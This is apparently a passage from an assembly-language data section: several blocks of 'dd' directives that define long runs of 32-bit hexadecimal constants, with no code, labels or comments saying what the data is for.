dd 0C54B4125h, 0D4A24ADFh, 2E6D71F1h, 0AC83636Fh, 849E09F6h
dd 0B18BA50h, 0E7236D05h, 66EB976Bh, 0CC2D1FAEh, 190895C3h
dd 0A95B4441h, 0C1137FBAh, 0ABE896Eh, 0FEBA847Eh, 1B640B3h
dd 4C061AFDh, 772A991Dh, 703ABF0Fh, 84DAFDF9h, 1A359895h
dd 19D3C077h, 0BE3CC5CAh, 0DCE04A22h, 0D7C53EB5h, 0A54DB677h
dd 7A911A67h, 28721400h, 4AC13877h, 3C7FE095h, 8A6E64h
dd 7F59C9FEh, 0E7334B77h, 0A0E2C7A4h, 16B9F9Ch, 700AC4E2h
dd 618E44C0h, 7E9F8DA6h, 0A1D3AF52h, 202A7F0Dh, 1AE8BB39h
dd 8696F828h, 4EAE4317h, 97967F7Bh, 798E2290h, 4493A232h
dd 0A977DE85h, 0C67AF5F5h, 8BD1913Dh, 558AF18h, 7DDCB5F1h
dd 74B16A67h, 0B28363C5h, 2FE099A5h, 3771BF49h, 1139C1FDh
dd 0ED8D1052h, 703D8AD5h, 476AB0FDh, 8D53139Ah, 8D1D2E11h
dd 93A7B6B2h, 0CF0A9B3Dh, 3A878E34h, 0CD310427h, 0C31E2319h
dd 0FF07E20h, 0D1D86A86h, 0BCA54923h, 0DBC3EEE8h, 46187336h
dd 3B9371E9h, 9BB50CCh, 2A8A48A4h, 0CC38C2B8h, 70711268h
dd 0FA0C0A27h, 152A796h, 83023E67h, 0A0043F30h, 2ABCD7EDh
dd 39F0AEC6h, 0C4132DFEh, 0ADC0BDB4h, 0EEE9C39Bh, 0C0723ABBh
dd 500F0D6Fh, 3EF12D3Fh, 0D948B03Dh, 0C603681Ch, 83325DC0h
dd 5B01988Eh, 0A151953h, 0BB690939h, 5C676150h, 0B6C25F8Ch
dd 814D89E6h, 543B7914h, 0E91D451Ah, 0D1B2C250h, 45B6A84Fh
dd 2A36D5EEh, 0BB095A4Fh, 0BBE84271h, 95E77FCBh, 7B5FBF18h
dd 0C366308Dh, 994AE5C8h, 4F49E671h, 4B261BEh, 0D228F984h
dd 2A7491B1h, 60989C6Dh, 0C64773CAh, 43A3FF6Ah, 0D0CC14F1h
dd 0B2F6ED12h, 467703D0h, 21FFC25Fh, 8E9C1865h, 0FCDEC794h
dd 0E822D89Ch, 0DC2D4072h, 6661F514h, 24233EF2h, 98731380h
dd 0BB8414B9h, 7548E294h, 5F883A66h, 87154A70h, 2DB2782Eh
dd 80B19797h, 0A3051AC9h, 1293AEBBh, 82772F06h, 5B9B104h
dd 87CDEC4Dh, 3C6171EBh, 55B8A10Fh, 0DF8C11C9h, 583576BFh
dd 0AEE7C6B7h, 35565E1Dh, 0A1C5D1C6h, 9A2FE41Eh, 491F0F4Eh
dd 0B9908965h, 8001AFE1h, 4F02661Ch, 0F63A44Eh, 0A3A0898Ah
dd 0D19983A9h, 0B5799BCh, 8B5BD1BCh, 30384B75h, 7A59B625h
dd 499CF1BBh, 917EB0F5h, 95DC710Fh, 0A947AF03h, 0E6EB14B6h
dd 53CE2A80h, 681B0C93h, 70612291h, 6C838CCBh, 182457CAh
dd 27B9A279h, 8B7143EEh, 39050A64h, 69F8B579h, 0F7F99CF9h
dd 0A8894A18h, 60B2101Bh, 2CA0588Eh, 4DA2D0B0h, 73EF8059h
dd 0FEFA1802h, 8171851Bh, 1503B160h, 8E950AD4h, 50A781BFh
dd 0DDF13AF3h, 751F89EBh, 0D67F228Ch, 7D9165ABh, 548D0512h
dd 0E2393Ch, 462EBE37h, 6E249E2Dh, 53AF07CFh, 65B2B6BDh
dd 0D274C59Dh, 9FC9BFFFh, 6915D48Fh, 7FDEE5D7h, 11FE2513h
dd 6CF41FB9h, 95ECFD2Eh, 5487F20Fh, 0E736CED0h, 8E813880h
dd 1FC3B092h, 77A81648h, 3BED66BDh, 1E083A4Eh, 15A3285Eh
dd 44A8B8D3h, 27E03D08h, 0B2631596h, 0FC03046Ch, 0F34F0696h
dd 0BA5322BDh, 7323FD65h, 9C1C2DDAh, 0C8D07CCBh, 74C9BF13h
dd 0E522D886h, 0D444BD95h, 0E0753DC5h, 186608FDh, 3E200C09h
dd 86AAADE1h, 9D2AA34Fh, 0C43B5F3Ch, 33908D6Dh, 5D36DC7Dh
dd 10E641D9h, 9AE30C19h, 3044C4E2h, 0D5D6C921h, 0F2DD0A51h
dd 49A1FB2Eh, 245BAD04h, 0A1C9672Fh, 8AA70C67h, 0B4836DCBh
dd 8AFF1878h, 49A9D383h, 0F95A0A3Fh, 333612A7h, 6896B364h
dd 23E0BF15h, 0EFD7547Dh, 0F9E8E747h, 79B1B6EFh, 42B756BBh
dd 9C3FE6EFh, 0EAA4BC7Dh, 2642FB1Bh, 0F4E51D40h, 34EEA923h
dd 0F262C49Ch, 5769719Fh, 0E90D684Ch, 4BE2EC2Ah, 4AA08491h
dd 3183DCC0h, 7CCF572h, 25B3E74h, 2017A886h, 6F4CD238h
dd 0A906616h, 60297236h, 8B5823F7h, 60E05085h, 26D5E893h
dd 7FFFAC81h, 0E9494867h, 9D46D8A1h, 6BCAA95Ah, 0B41A2248h
dd 92529312h, 6451E059h, 0DD88BF43h, 64E0601Eh, 9B5244D7h
dd 4E9C42BBh, 0E7DE074Dh, 8A700A1Eh, 72EC1B06h, 0EA93F73Ch
dd 7D6D1C4h, 0C8D552Bh, 0C7A87DABh, 224B4CD6h, 0C4E6BD6Bh
dd 0DC7A721Dh, 0CBE8273Ah, 3C6C4B60h, 4C97864h, 0B5E78FC8h
dd 0A9CBBF23h, 83F8D84Ah, 2743E589h, 88029318h, 0ACB772CDh
dd 1E898F53h, 0F8A83CAh, 20F9F58h, 651A0E24h, 27B6FA37h
dd 0FEF23069h, 0CD41E966h, 0C8533D7Dh, 0C1F977DDh, 9C33E7E4h
dd 0D1D4978Dh, 0CF908144h, 0D41914DFh, 9CF38568h, 3DA32DA4h
dd 0F77AAB92h, 715CCB35h, 79B1035Eh, 3D39B0C4h, 0ED4431BBh
dd 59357564h, 1855358Dh, 0DADD1366h, 0A0A4C59Fh, 96192AD7h
dd 8F6684F4h, 857C95BBh, 5831DAE2h, 0F8DD4314h, 0D4699F92h
dd 5DD18EABh, 4802504Fh, 2547A489h, 0DEB8790Dh, 0AFB8F081h
dd 9362075Fh, 0C58A1507h, 0FF63E2E1h, 405C665Fh, 7D83F4A5h
dd 0B7E05D5Ah, 0DD2CBC57h, 28C2B0CBh, 0EECBEA29h, 2EE5085Ah
dd 88CAF403h, 3C119589h, 267811D7h, 0D5DDEAF8h, 34CD7D40h
dd 45B3049Ch, 8A24116h, 8E3B8831h, 0D0774CB0h, 257CC638h
dd 0A9B4C232h, 69F14259h, 0AA504E93h, 42C5FE6Ah, 0F08A80A9h
dd 283BA803h, 0C6925AA4h, 0E44C4ED5h, 0D873F0F8h, 413CAC53h
dd 4E0BD052h, 0E9FCC2DFh, 0C6AD9CA2h, 0F4FF75D0h, 0BD2CA397h
dd 855532EFh, 0E24A5097h, 8A1D5238h, 86AA8135h, 0D3013AA8h
dd 2EE83BE9h, 4AE63681h, 0E9E2A5D9h, 0F7B255CDh, 408CCD3Ah
dd 44307142h, 79376D28h, 89C4B284h, 0F9AAE012h, 0E4E5BF83h
dd 0F1BB8059h, 0B1AA0C3h, 676B98F6h, 0FC82F6D0h, 657F40B3h
dd 541D151Eh, 0E173D03Ch, 0E3BBF4EAh, 0CB9A4192h, 95E188A3h
dd 0D40F944Fh, 89C89F8Ch, 0BFABA8B8h, 0C7794236h, 8825BA6Dh
dd 0F42823A3h, 0F641B1B9h, 0E078430Fh, 2E14CFDBh, 6EB6DB5h
dd 94FCC81h, 22F0FE33h, 85EA8B7Bh, 7C229739h, 97517C7Eh
dd 0BA57050Dh, 0A564300Ch, 8D127963h, 0C83CAF0h, 2FF7865h
dd 0CAB021A3h, 0EA5857D2h, 0D487954Fh, 95560E9Bh, 0F3B11D8Eh
dd 0ECCD5571h, 8498CD52h, 0E26094A6h, 17357711h, 9D445F90h
dd 1B4C2CEAh, 0BFE74CE0h, 8ECB9A14h, 2853D675h, 4D633402h
dd 668F9FD1h, 54ACC143h, 0C37ADDD6h, 0BFB9D847h, 4BD2E8E1h
dd 0C979773Dh, 2B214D29h, 0DAFC7DB9h, 6D4E9691h, 3145F731h
dd 465A8140h, 0A4D8A6F5h, 0A7C8C116h, 0BA50E0CFh, 16B7FF78h
dd 193EA3FAh, 0DA92DDDBh
dd 69F722F9h, 3147E25Eh, 56E314C4h, 0A45726C2h, 72FA9A18h
dd 0C3A60B46h, 0A5A1B558h, 0C07551F5h, 9BF49504h, 2F1EB234h
dd 0E29CBECh, 0BD0A116Eh, 6BB2FD19h, 88E00B30h, 5B67AF42h
dd 0A4ACB907h, 9AB1996Fh, 0ACB47C9Bh, 87A084D9h, 887D2462h
dd 7EC0E801h, 51FEDCA6h, 0AD8C373Eh, 0DAE336B6h, 399F04ADh
dd 86F6374h, 7EF6FF83h, 465EAEFEh, 847A5692h, 3CBDE727h
dd 3B2F7D96h, 0F71DACA7h, 0ED2BE266h, 2E5FD7DEh, 0A9138278h
dd 44373F4Dh, 0D3754ED6h, 6DA10D0Ah, 6D1C9C43h, 318F53F6h
dd 302AFBF8h, 0F016D9Bh, 593619D2h, 0B09EEFF4h, 0EE038E76h
dd 3C8AAE62h, 0DF9A76F4h, 6B254DD4h, 0F2F32B96h, 0E8A155B3h
dd 0DEEF9FE4h, 84D481Dh, 0EB497250h, 507D17FFh, 56AA0396h
dd 4A679395h, 0A8EA12BFh, 3E08F939h, 0D07A3EB5h, 2EC5B7EBh
dd 0FA51D0A5h, 21D26319h, 93EC4576h, 5ED1D284h, 5350E06Ah
dd 9315D458h, 2A771E9Bh, 309C864Ah, 4DF1C44Fh, 44FF7381h
dd 7282D041h, 81244CA2h, 6D2131CAh, 0F9CA439Bh, 2B6B8A08h
dd 47644885h, 75AC470Fh, 21694126h, 0E205EE54h, 98AD9456h
dd 5253A45Dh, 417B94DCh, 3B30A425h, 1313F9A6h, 0C81CE704h
dd 167D3899h, 3C16FC4Bh, 25761064h, 3AA8E432h, 4A39AF6h
dd 131B7077h, 571C40B0h, 386154Fh, 0AF0705A5h, 9FD8A8C6h
dd 0A9D8EE0Bh, 0D69EF8E2h, 5E130560h, 27AB54CBh, 0D69B985Eh
dd 7E383578h, 0C5D9201h, 0C72400Dh, 872D77ADh, 360302D3h
dd 62A77502h, 0AC01E3ECh, 0A45DBC4Bh, 0F6484F73h, 7C780DF5h
dd 5AABDC85h, 426D69AFh, 0E1F3B07Ah, 857E72A4h, 41B09D66h
dd 0FA6BE6F2h, 464BD291h, 5B83D8CCh, 9335FE50h, 3025E13Fh
dd 35501B42h, 59E197BCh, 4E0773BAh, 87B4399Eh, 0B4AB23C3h
dd 0FC1041F0h, 0A04378B8h, 0BCBC4140h, 0C7C8B256h, 6714E94Eh
dd 0DA003588h, 0E94D36E9h, 71342A26h, 940861B7h, 53E2AF19h
dd 718866F5h, 9264585Bh, 0A2CF364Bh, 0B6111ECFh, 0A5C7CCBCh
dd 6BF4745Eh, 0FACBEDC4h, 0B9B265BCh, 96B9FD0h, 0C4936092h
dd 9D0FB3D5h, 8A0023FBh, 0A86A438Ah, 63C2D62Dh, 617BC69Bh
dd 9C163228h, 0DB69D655h, 78984600h, 1A5FD942h, 70C5E089h
dd 0E0255C3Eh, 93AB99A4h, 83BC0616h, 45BB8C1Eh, 0EB7B02D0h
dd 0E785BB04h, 92508BF9h, 142BC3A2h, 11DEF2D5h, 0B80822ABh
dd 0A8263132h, 807AE14Dh, 8061558h, 0C79C935Ah, 59CF8CF8h
dd 71341F03h, 2A8467C5h, 0BDFF7712h, 0C24F6DBCh, 0F0B44D64h
dd 0B0001465h, 2D5F2C2Dh, 7B58AAF8h, 3A2F34C2h, 0DDE72386h
dd 6EDB889Bh, 0B08CEEA6h, 3C177B2Ah, 81893AF1h, 752D0C05h
dd 8C5B6F83h, 4E1E7271h, 631CED8Fh, 5B5E3957h, 9728C538h
dd 983BDF7Eh, 1CB9D87h, 572F1FBEh, 14354487h, 5618BA39h
dd 25CA7A4Bh, 8BC4EFDDh, 9E072F9Bh, 12E3DC5Eh, 44379017h
dd 0B8781E43h, 61689317h, 7BE45795h, 0DEF444B3h, 5077F1D4h
dd 0E668266Bh, 33ED3710h, 0D50C5CC7h, 0E886F1h, 7B489258h
dd 0FB3EA6ABh, 0CD1C18Ah, 613E0BA5h, 725B834Ch, 4A6AD068h
dd 30E2CEF0h, 0F38A6E0Dh, 7D4564C9h, 8BDA66A9h, 66077596h
dd 0A6EA2978h, 4885799Ch, 41F05E20h, 404D3928h, 67A70248h
dd 31C008BAh, 4B304AB9h, 8CE86274h, 731182CBh, 5D66EE3Ah
dd 0F9215A1Dh, 0BCBC2C6h, 0F894A55h, 0A9232271h, 0C504A845h
dd 5063C760h, 22E6D233h, 917392ABh, 3F52FDF0h, 786FE782h
dd 0B89E1B46h, 0A8D55BD1h, 58ECB5CFh, 0C7A842AFh, 6081115Dh
dd 0B38F7A16h, 6F4EB5A5h, 0AFE38C97h, 15D2A747h, 9EB3BC20h
dd 6520472Bh, 2EDAAC7Bh, 1B86CC83h, 0FF94C448h, 2832E52Dh
dd 12ADABAFh, 3C01F029h, 0DC6DC604h, 7E9B3D7Ch, 0F5DB1DEBh
dd 0B97A6E32h, 0F962C052h, 0B40F9E15h, 17B06E0Dh, 95DFE866h
dd 7FCA8677h, 80E7F21Ah, 9919F99Ch, 41A2EEC7h, 0BD7930C2h
dd 574E91E3h, 0EF8B8826h, 0F1BA8B29h, 8841E68Dh, 4A4CDE02h
dd 36383867h, 0C3AEFB39h, 7FD3AF21h, 0B4F504F4h, 0A13E1D51h
dd 0F4BD6DD4h, 0B9C2ECDCh, 1548A4CCh, 59CAFCEAh, 62DB0CAEh
dd 56D3B8h, 17B53A00h, 21B14695h, 23039ED6h, 0A8F99BBFh
dd 0E973D31h, 8FD4335Ch, 11E88316h, 0D980F402h, 0A5384212h
dd 0CE8CB0F6h, 20173E51h, 22FB263Ah, 2E676B55h, 15388D75h
dd 753E2318h, 647FD526h, 5D36CCA4h, 384C6FDDh, 0F02DEEE0h
dd 0B85522CEh, 0E2B73626h, 8FBB5E85h, 22D28990h, 33ADD6AFh
dd 176206ACh, 69E11F15h, 0C2D9E846h, 67F3BF16h, 3A943259h
dd 0E586342Ah, 43DCA020h, 0D17BA959h, 3ADDEFD2h, 55A5D721h
dd 7839BF71h, 160C4BAEh, 777B390Bh, 0DDBCFCDCh, 51B6993Dh
dd 22E14E3Ch, 270BFEB1h, 58FC89DEh, 86ACF37h, 38C8BE67h
dd 46B609D0h, 4776D69Dh, 0F23CDE74h, 0FA5389h, 0DD3495Bh
dd 50B78BE4h, 16B443BDh, 0DB5859E0h, 1A6DE5EEh, 8AA684CEh
dd 0C6200A28h, 0A1BD9C9Ch, 3763FE99h, 1BBE04FBh, 0BAE895FBh
dd 97242FFh, 0E1B638C5h, 0DDD5B9C5h, 93EB5141h, 0F77BD2D5h
dd 0F9818AE8h, 450C536Ch, 5F61D33h, 7410C231h, 0D992D34h
dd 73DCE55Fh, 599C850Bh, 0C0D23385h, 0CCAF362Eh, 53E382F7h
dd 0B3C138D7h, 3135CAD4h, 0FD2CC201h, 79435B84h, 0EB43AAC9h
dd 44A1D9FAh, 26075CDAh, 0BEE6798Ch, 6E2F3DB3h, 0D7FAECA1h
dd 0C1A42E46h, 0FDFD6139h, 0B37E4300h, 0A50C5467h, 95F0337Dh
dd 55C8F429h, 0FABFB51Dh, 3656D8C2h, 2665DAC1h, 2CA64634h
dd 0A45D07E4h, 9466D9A9h, 0A77181F2h, 2BF27B56h, 6F15F9BDh
dd 23DF51Dh, 0BD2F5079h, 32A4C9E8h, 412EEC13h, 0D2AB9850h
dd 0AF9632B0h, 282BDCA2h, 5D946E6Fh, 0FE97A3ACh, 2F107F0Eh
dd 9573985Ah, 3880C87h, 3113DF5Eh, 0A44DFAB5h, 4CDEA69Ah
dd 4FABDC2Ch, 3D2F8F49h, 5C15FD10h, 0BE0C5BC5h, 53D43755h
dd 899E359Dh, 59DDC3EDh, 0B9110AD6h, 2913A01Ch, 4B94052h
dd 430AE147h, 88AB8F4h, 2ACEBB17h, 7E0D73B8h, 6188FBE0h
dd 703FE1F8h, 0BA7AEB87h, 0ECE3391h, 0D3FC295Fh, 608E7CDDh
dd 0DB710407h, 0C00950F4h, 445275F1h, 0FE40D830h, 0D0F43382h
dd 37E7B517h, 0DD382552h, 747DA97Ch, 0D9E218FDh, 5D6791F2h
dd 3731A0A3h, 9767118Ah, 0B315CAADh, 0FDEB5E89h, 0F526BDADh
dd 0B44BAAF6h, 1063006Ch, 79E1BB5Fh, 0B42B6AB9h, 0C3FCDDE3h
dd 9D3D7005h, 0AAFA6310h, 6B24D8FBh, 5ED4D74Dh, 1BBF5809h
dd 0B2595A13h, 0E8E8D2A9h, 1B2A99E1h, 18012C34h, 0C9A5578Ch
dd 0D97D7A4Ch, 7888CF1Fh, 2EBF2ABCh, 8D630040h, 361BCF0Ch
dd 2AA6986Dh, 79EA0C1h, 0FFE45Bh, 3E0616Eh, 14AD176h, 249B68AFh
dd 7F4BF8C8h, 0EC506E8Ah, 2D62CD5Dh, 359699A2h, 436E84A2h
dd 0FA2CFE31h, 0AFBA09BFh, 95605373h, 9D4EB0FBh, 35C21EEAh
dd 48EE2404h, 4D7C8A97h, 0EA9BC1FDh, 1494AAF1h, 0D96C2B6Eh
dd 0B12DC75Eh, 0BCCADFFBh, 0CF9D8DD3h, 5CA6D9EBh, 0DF308494h
dd 0A63908B1h, 0CB4DB1EDh, 8791E4E8h, 3CCB0228h, 0EC1AE64Bh
dd 0DC628904h, 0EFA1C2B2h, 0FBFE1CEFh, 5A89F3A1h, 70444AC4h
dd 864B6CA9h, 0B3D1CF60h, 3B3BBCD4h, 0C471B2F0h, 1B009748h
dd 404DA07h, 7F73C6FCh, 0E095CA22h, 3854B8DBh, 0E428EA63h
dd 6926D13h, 0FF2B23FAh, 0E282CFA6h, 9691D53Eh, 2DD94253h
dd 704CC7ABh, 20AAD38Dh, 0C59E93h, 2D2AFD43h, 752DD153h
dd 15710C8Ah
dd 6288B7C3h, 0CCECD23Ah, 70BEFE41h, 72C1322Dh, 0ED630BF6h
dd 32CC9F21h, 9A1AE407h, 0D417D886h, 0B82E978Ch, 5457655Ah
dd 0B8E09DBh, 6952C05h, 316ED8F6h, 0D659878Dh, 299B75FFh
dd 4EC7866h, 90F66667h, 6BEE8A48h, 0D7822FFCh, 0C72CA707h
dd 34D52DDBh, 27EBCE77h, 0E0484AA8h, 1D32EC4Dh, 0E6666159h
dd 0DB093E08h, 84D1EC84h, 2CDD86C9h, 0A353990h, 0CE53A7D7h
dd 9DDA7281h, 0D41B9138h, 0B9A178E2h, 145C3A47h, 0D8DD8693h
dd 65FD1E82h, 0AB20715Dh, 0D8B21754h, 0ED491E52h, 0A61EDD9Dh
dd 7AAACB49h, 95B64273h, 0AB702BA9h, 0B8A9511Eh, 4E77EFFAh
dd 55183F0h, 9D88FEA5h, 62681FC1h, 0A0A896C7h, 5DFEF726h
dd 31503E83h, 0C687CCFCh, 700E2EF4h, 84EE6815h, 532E05E7h
dd 1AE939Eh, 7EDDE7EAh, 768471DEh, 4B9091A4h, 2E17A6DAh
dd 3A542B07h, 7455693Bh, 0D887C9C0h, 0E5A946CEh, 0C1FE7A57h
dd 3F96FA46h, 0A69D7C5Dh, 95A85EA9h, 112C7F8Dh, 1F0A9480h
dd 9A03B52Fh, 12832668h, 8747AB53h, 2AF8D559h, 51AF2248h
dd 97845E80h, 14BC784Fh, 0F3F70E42h, 430F1AA4h, 0DF1D71FAh
dd 4C4FF965h, 3E900517h, 0A3C8DA40h, 25CB5B13h, 35960CD2h
dd 0F43DE301h, 6EF2A4A6h, 0E59D0FE9h, 55E7D84Eh, 0E975827h
dd 0FF524D2Fh, 981D44E2h, 9F7E28B5h, 1CFA20C7h, 0CB00FB86h
dd 0F8D1107Ch, 693BBCEDh, 77CD226h, 83DF2BA0h, 140F872Dh
dd 67A31B5h, 0EC27CDBh, 9D4C279Fh, 0AE43BAF7h, 0E02D34C5h
dd 3487957Bh, 316E74DFh, 0F90ACC13h, 1378C18Ah, 0C72C29C0h
dd 94A4EDE5h, 331BC5A1h, 22D42A40h, 94E13790h, 0B1551031h
dd 3C16115Fh, 0C6B92D16h, 15B5FE3Bh, 9B503807h, 0B4985758h
dd 933EE016h, 0B48370ABh, 0F3B159FBh, 4215AC78h, 0D7E34DD0h
dd 0E01E3F53h, 8A302CBAh, 5E1CB720h, 0F35440D0h, 7C1814CCh
dd 1D80DF29h, 4F37FA0Fh, 6279C23Fh, 6EEE1C84h, 0E0368B1Dh
dd 0F4F3E2C5h, 0A9EEAFFEh, 0B7494C03h, 71D08106h, 0D55A5975h
dd 0C5762640h, 4B1B1633h, 21FF50D4h, 487E8FDEh, 84D44E3Ch
dd 0E852D46Bh, 0F0A21A21h, 4CC0825Ch, 566DE38Eh, 0B0F3ADEDh
dd 9076ABF1h, 428966E7h, 0FEAE016Bh, 69733DD9h, 6C536FCEh
dd 608318FCh, 0B55497Eh, 40F68DA7h, 0FAECDB1Dh, 907E58A5h
dd 0C0D6344Ch, 4196BEB2h, 67160FCDh, 0A75E14Dh, 472ACC62h
dd 0B0041E7Fh, 7840D5A6h, 9ECDA4EFh, 5D21385h, 3CFBF81Ch
dd 0A87B91BAh, 619B30B3h, 0D655DA8Dh, 2AC4962Ch, 0CC7C50FCh
dd 0A794EFAh, 8CDCA24Ah, 0CBC8D07Bh, 0ACD4B15Bh, 9C08E0DFh
dd 0C040651Ah, 31810159h, 91ED8A87h, 0D2668AA8h, 0BACA88h
dd 72778C4Ah, 0B2210EFFh, 51D286FAh, 0E6902E8Eh, 1D0A25D7h
dd 5034BEEEh, 0A2EB9A4Bh, 79C6C964h, 3138F666h, 8E796AF6h
dd 836A7236h, 91FA53FFh, 0B0A10F85h, 4BF32FF0h, 2A5E0EEAh
dd 88EFE8BFh, 0D526972Ch, 6269C813h, 8A96C413h, 4177C113h
dd 2224EBB8h, 55C404EFh, 66761F04h, 0DB1A2544h, 495F6BD3h
dd 0FD13E36Fh, 54C5ECA3h, 0D69FC522h, 0E28B7DF8h, 30AD709Ah
dd 0C77CC812h, 37E98EE7h, 0A790D032h, 748F48E9h, 0F23BAD1h
dd 2AA3A635h, 0DDA3518Ch, 0E2ED6B5Fh, 9D7CDC4Eh, 0A9CBB5Ch
dd 3BDEB872h, 676B4C6Bh, 0CEB9EABEh, 23BFC15Ch, 5710C76Ah
dd 214A53B1h, 5CEC999Bh, 69C0BE58h, 81C03CA8h, 9D275B10h
dd 9D9F2473h, 0D674C95Dh, 725596FDh, 58C45BF8h, 0A0FAA4D9h
dd 63129109h, 0BED2569Bh, 0FF2F6A22h, 3B9396B6h, 6A9AB5Dh
dd 7893D78Bh, 42317724h, 0DD826AEEh, 59852B88h, 1EC1D194h
dd 26F5166Ch, 0FA9F9ACCh, 0C4727326h, 0E86494E8h, 92BDA800h
dd 6DCBA808h, 7835D9C1h, 0AD0C021Eh, 958FB8F1h, 0D564CEF8h
dd 490C545Bh, 0C91D61ADh, 0FAF4E1A8h, 8FE9304h, 0B8478F27h
dd 0D086039Ch, 16D3F9Eh, 0E1667BCEh, 4C113C31h, 887CCD9Fh
dd 9781D45Eh, 0D32657D4h, 0DBC20932h, 929BE9C7h, 0A1743A9Ch
dd 3B8C7049h, 0C20E0C7Ah, 50F28E13h, 0EE60C3BAh, 0F5D17736h
dd 0F137808h, 301E5CE5h, 0EA1F5110h, 9F590D45h, 0AC0E4D2Ch
dd 0A2CD93EDh, 5E5DB38Ch, 259CCECh, 9B0A44EEh, 0F2D5C502h
dd 1334E679h, 3396EA83h, 79338D90h, 0C7C05041h, 81750C67h
dd 0C1D380FDh, 1E78AC1Dh, 9A121682h, 79F49BDEh, 0F42A5770h
dd 3581FB86h, 0C8D32A7Dh, 0FA8B77E6h, 861E77B2h, 7943739Ch
dd 0AE422E20h, 3A9805B2h, 2F339626h, 8DEEE20Bh, 3C7F40E7h
dd 34B67712h, 45AC2162h, 1294186Dh, 0D3EF57F7h, 0CAF13815h
dd 994D1202h, 2166DF7Fh, 0E0482147h, 0A0B66878h, 0CCF9AC43h
dd 96F3E172h, 0A6295A5Eh, 0FE929920h, 6A58F94h, 0EF27CD10h
dd 0AFD52EEDh, 5B22DC5Fh, 7C04B1EBh, 0BD41FADEh, 0ACF21161h
dd 476868BEh, 71B3AA91h, 0B0B5A65h, 23A446Eh, 0A17128B8h
dd 0F5C0F94Ah, 86F2380Ah, 10DF9AC2h, 5FE0728Fh, 24453213h
dd 30483DBDh, 76B99A7Ah, 0ABD440A4h, 53643616h, 0E34E1261h
dd 0BDA519C0h, 548798A2h, 7D223D6Dh, 0DD12DBF0h, 45E7FC05h
dd 5399904Eh, 59CC69B8h, 0E400719Ch, 0BA1172Dh, 0F8C1A5C9h
dd 98C6F16Fh, 0BAE87DC9h, 0EC826DACh, 0C877CAD0h, 83D65CF1h
dd 0AD05B36Ah, 93DF2492h, 91298A7Fh, 0B833F169h, 0CDCF7274h
dd 7CCEC995h, 0FA96D76Ah, 0EC3B5BC1h, 8E97EFEh, 74FFE571h
dd 335F5A60h, 4353CEE2h, 0CE3565D4h, 89009192h, 0B59FC049h
dd 9004AE48h, 0E2FACC2h, 0DE0383C6h, 5176CAD4h, 6D1913DEh
dd 0FAFCCECBh, 295D6EBAh, 1EAD100Fh, 4B9DA7C9h, 0A7C8C8E3h
dd 78FCFD34h, 0BB45328Ch, 0B8DB227Dh, 5B215B63h, 0E49F3726h
dd 6A48EEDFh, 9703A1EBh, 1D9CAC14h, 3071B47h, 74BD522Dh
dd 6F4CBB26h, 0A4370787h, 20A8F2D9h, 0D5B0FCB5h, 571D00DFh
dd 24A6FA71h, 9CBFAED3h, 21569B46h, 5B15F6A2h, 81A91164h
dd 8029529Fh, 506F3CB4h, 0B4EB51B3h, 0A08ACBB6h, 0A1C73156h
dd 66D57146h, 0A2A1EDBCh, 461BAF82h, 878F87A8h, 0F0494D8Ah
dd 22359A64h, 0B9605566h, 0E653AA46h, 0CB3BF5BEh, 546ECE60h
dd 5500468h, 6BB3CF0Ah, 10E41DECh, 16BC34B8h, 104F9222h
dd 0F67FFBC3h, 0C07D5C1Ah, 55BF9929h, 733F5254h, 788CE7A1h
dd 2BCD262Dh, 8CF691D7h, 0DAEF1911h, 4790F8D0h, 96811C6Ch
dd 0C1523ED5h, 0A3049AEh, 0D5C18C4Dh, 67F4CCB0h, 0C566FF92h
dd 10A20A96h, 7E4A996h, 5B3537B1h, 0EE97DD45h, 0BBDAE223h
dd 0E55DDBC2h, 27035C38h, 0FE545EE4h, 8A1CB54Eh, 0E1F51B7Dh
dd 0F906C85Bh, 4789C3Eh, 9F97694h, 67231889h, 1D4F1E00h
dd 4B6FE6A6h, 5D918922h, 22D7E54Dh, 1E8678DEh, 9D89F01Eh
dd 49A9AB9Bh, 64059383h, 9DD32A70h, 1EB662A6h, 93BC7E70h
dd 7712F67Ch, 25D28F51h, 0A93EEC5Fh, 0A0B5A023h, 0A4322BA1h
dd 4EDC5C8Bh, 54E186A2h, 5D012FE5h, 0FBC240E7h, 3CB6D380h
dd 5827A1A7h, 1033D53Fh, 0A7AE6AB0h, 0F3D6C28Ch, 7A2F0258h
dd 497EE064h, 98056831h, 0C0580B53h, 0E454C557h, 0A83294E4h
dd 0F78510E4h, 61A1778Bh, 2CF64175h, 0CD0E6A37h, 0C1AA70Bh
dd 0E5ADB969h, 1681C55Bh, 3A1BCF4Bh, 40834710h, 1CB42BA9h
dd 31966E95h, 833392DAh, 0BE88C46Eh, 94384555h, 0A932FE0Eh
dd 7F70C13Ch, 39E09BA4h, 0EE171907h, 9C5D1CF7h, 3D62AC0Ah
dd 0AADAEA54h, 0FAE332B1h, 63DE9E61h, 91DF03F8h, 9C19A4CEh
dd 59E0C073h, 0B2539A89h
dd 0ED3175C1h, 0A10108D9h, 74AC97B0h, 5FFFFE8Dh, 737FCCADh
dd 799C94BAh, 25F44CEDh, 0E066E1FEh, 678B8214h, 28AA2402h
dd 0AECCB45Fh, 0F65EEEC2h, 658CFC74h, 6FF77458h, 0AAB831B4h
dd 49794F98h, 0E31E670Bh, 0E4E48291h, 0E1A07FCh, 0DFDD47EDh
dd 98C8DDEAh, 0CDC55A62h, 0A0C66921h, 0BD2E4596h, 749E18A6h
dd 76C93EA5h, 699E2587h, 8EDC3A4h, 61736A22h, 5D042593h
dd 0F5046EAh, 0E64CCh, 1ADC3ECEh, 5B49BCD1h, 0EE2477E4h
dd 4F66AE63h, 0F0245F5Ah, 0F3D9C958h, 1FD7A24Fh, 0D3D61C5Ch
dd 9484636Ch, 0BBCEE0D0h, 68DA2FC2h, 0B095FF66h, 0EC2663C4h
dd 0B6B62D8Ah, 48D9E634h, 0D3172550h, 0A6E4AD22h, 0DCE5E250h
dd 0D85B5FFDh, 6750370Eh, 6CBE4FD7h, 0CC0B8FEBh, 484DE8D6h
dd 0CC35761Ah, 7BCE884Ah, 0B1C14950h, 0F74EC415h, 57706F8Bh
dd 8AFF98D2h, 0E45A65D0h, 21A2FC27h, 65E77BD9h, 0E7BF490Fh
dd 0ABC8E444h, 536DE581h, 0DE805E8Ah, 39639Bh, 0E3E1E4F3h
dd 4B0D8A98h, 8FAA238Ch, 176F4E8Eh, 0F37BA126h, 5B7FADAEh
dd 0FF91B7BDh, 74F1F36h, 468E51BAh, 2DF016E0h, 0E391CDE5h
dd 42436B80h, 3C570BC1h, 0A1567632h, 46A278B2h, 7430FCEFh
